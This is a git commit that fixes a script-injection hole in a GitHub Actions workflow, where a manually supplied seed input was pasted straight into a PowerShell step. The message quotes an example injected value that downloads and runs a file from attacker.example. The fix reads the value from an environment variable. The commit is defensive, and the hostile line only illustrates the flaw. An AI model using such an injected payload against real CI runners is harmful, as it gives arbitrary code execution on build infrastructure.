[security] stress-test.yml: env-var indirection for workflow_dispatch seed input

Security-review subagent finding (MEDIUM, confidence 9/10).

The "Generate ChaosTCP seed" step interpolated the workflow_dispatch
input directly into a pwsh run: body:

  $configuredSeed = '${{ github.event.inputs.seed }}'

GitHub Actions substitutes the expression BEFORE the pwsh parser sees
the script. A workflow_dispatch caller (must have write access on the
repo) could supply a value like:

  '; iwr https://attacker.example/x -OutFile /tmp/x; ./x; '

which renders to:

  $configuredSeed = ''; iwr ... ; ./x; ''

— arbitrary PowerShell on the runner. Defense-in-depth gap: a leaked
CI token, compromised maintainer PAT, or future write-access grant
becomes runtime RCE without ever committing to git.

Fix: move the untrusted value into a step-scoped environment variable
and let pwsh read it as data, not as code:

  env:
    INPUT_SEED: ${{ github.event.inputs.seed }}
  run: |
    $configuredSeed = $env:INPUT_SEED
    ...

No behavioral change beyond the indirection — the same value flows
through [int]::Parse, $env:GITHUB_ENV, $env:GITHUB_OUTPUT and the
chaos-seed.txt repro file.
This commit is contained in:
Marc Schier
2026-06-11 09:53:54 +02:00
parent 5ca95abd0d
commit 3f4db2aec4
+3 -1
View File
@@ -63,8 +63,10 @@ jobs:
- name: Generate ChaosTCP seed
id: seed
shell: pwsh
env:
INPUT_SEED: ${{ github.event.inputs.seed }}
run: |
$configuredSeed = '${{ github.event.inputs.seed }}'
$configuredSeed = $env:INPUT_SEED
if ([string]::IsNullOrWhiteSpace($configuredSeed))
{
$seed = [System.Security.Cryptography.RandomNumberGenerator]::GetInt32([int]::MaxValue)